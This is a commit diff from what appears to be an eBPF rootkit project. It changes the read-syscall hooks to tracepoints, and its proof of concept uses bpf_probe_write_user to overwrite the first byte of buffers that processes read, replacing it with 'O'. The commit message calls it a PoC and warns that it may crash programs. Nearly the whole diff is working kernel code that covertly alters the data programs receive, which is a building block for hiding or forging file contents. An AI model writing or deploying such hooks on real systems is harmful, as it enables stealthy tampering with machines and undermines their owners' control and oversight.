FS module now can overwrite the buffer of read syscalls, effectively modifying what is returned as a result. Small PoC included now which modifies any first char in a string to 'O'. Use under discretion, may crash some programs, not enough checks implemented yet.

src/ebpf/include/bpf/fs.h

@@ -19,8 +19,28 @@
 #include "map_defs.h"
 #include "../utils/strings.h"
 
+/**
+ * https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L673
+ */
+struct sys_read_exit_ctx {
+    unsigned long long unused; //Pointer to pt_regs
+    int __syscall_nr;
+    long ret;
+};
 
-static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* buf){
+/**
+ * https://github.com/torvalds/linux/blob/master/kernel/trace/trace_syscalls.c#L588
+ */
+struct sys_read_enter_ctx {
+    unsigned long long unused; //Pointer to pt_regs
+    int __syscall_nr;
+    unsigned int padding; //Alignment
+    unsigned long fd;
+    char* buf;
+    size_t count;
+};
+
+static __always_inline int handle_sys_read(struct sys_read_enter_ctx *ctx, int fd, char* buf){
     __u64 pid_tgid = bpf_get_current_pid_tgid();
     __u32 pid = pid_tgid >> 32;
     struct fs_open_data data = {
@@ -29,7 +49,7 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu
         .pid = pid
     };
     bpf_map_update_elem(&fs_open, &pid_tgid, &data, BPF_ANY);
-    //bpf_printk("PID: %u, FS:%u\n", pid, fd);
+    //bpf_printk("IN PID: %u, FS:%u\n", pid, fd);
     return 0;
 }
 
@@ -37,12 +57,16 @@ static __always_inline int handle_sys_read(struct pt_regs *ctx, int fd, char* bu
  * @brief Receives read event and stores the parameters into internal map
  * 
  */
-SEC("kprobe/ksys_read") 
-int kprobe_ksys_read(struct pt_regs *ctx) { 
-    struct pt_regs *rctx = ctx; 
-    if (!rctx) return 0; 
-    int fd = (int) PT_REGS_PARM1(ctx); 
-    char *buf = (char *) PT_REGS_PARM2(ctx); 
+SEC("tracepoint/syscalls/sys_enter_read") 
+int kprobe_ksys_read(struct sys_read_enter_ctx *ctx) { 
+    struct sys_read_enter_ctx *rctx = ctx; 
+    if (ctx == NULL){
+        bpf_printk("Error\n");
+        return 0; 
+    }
+
+    int fd = (int) ctx->fd; 
+    char *buf = (char*) ctx->buf; 
     return handle_sys_read(ctx, fd, buf); 
 } 
 
@@ -53,21 +77,60 @@ int kprobe_ksys_read(struct pt_regs *ctx) {
  * values. 
  * 
  */
-SEC("kretprobe/vfs_read")
-int kretprobe_vfs_read(struct pt_regs *ctx){
+SEC("tracepoint/syscalls/sys_exit_read")
+int kretprobe_vfs_read(struct sys_read_exit_ctx *ctx){
     __u64 pid_tgid = bpf_get_current_pid_tgid();
-    
+    if(pid_tgid<0){
+        bpf_printk("Out\n");
+        return -1;
+    }
+    //bpf_printk("OUT PID: %u\n", pid_tgid>>32);
+
     struct fs_open_data *data = (struct fs_open_data*) bpf_map_lookup_elem(&fs_open, &pid_tgid);
-    if (data!=NULL){
+    if (data == NULL || data->buf == NULL){
         //Not found
+        bpf_printk("Not found\n");
         return -1;
     }
 
     //Overwritting a byte of the buffer
     char *buf = data->buf;
-    char *msg = "OOOOOOOOOOOOO";
-    bpf_printk("Overwritting at pid %u\n", data->pid);
-    //int err = bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1);
+    __u32 pid = data->pid;
+    char *msg = "OOOOOOOOOOOOO\0";
+    
+    if(buf == NULL){
+        bpf_printk("Out\n");
+        return -1;
+    }
+
+    int length = 0;
+    char c[7] = {0};
+
+    while(length<6){
+        if(bpf_probe_read_user(c+length, 1, buf+length)<0){
+            //bpf_printk("Error reading\n");
+            return -1;
+        }
+        //bpf_printk("%i\n", length);
+        length++;
+    };
+    c[6] = '\0';
+
+    
+    for(int ii=0; ii<6; ii++){
+        if(!((c[ii] >= 'a' && c[ii] <= 'z') || (c[ii] >= 'A' && c[ii] <= 'Z'))){
+            //bpf_printk("Not a valid buf\n");
+            return -1;
+        }
+    }
+
+
+
+    bpf_printk("Overwritting at pid %u, %s\n", pid, buf);
+    if(bpf_probe_write_user((void*)buf, (void*)msg, (__u32)1)<0){
+        bpf_printk("Error writing to user memory\n");
+    }
+    bpf_printk("NEW at pid %u, %s\n", pid, buf);
     
 
     return 0;

src/ebpf/xdp_filter.bpf.c

@@ -76,7 +76,7 @@ int xdp_receive(struct xdp_md *ctx){
     }
 
     if (get_protocol(data) != IPPROTO_TCP){
-        bpf_printk("C");
+        //bpf_printk("C");
         return XDP_PASS;
     }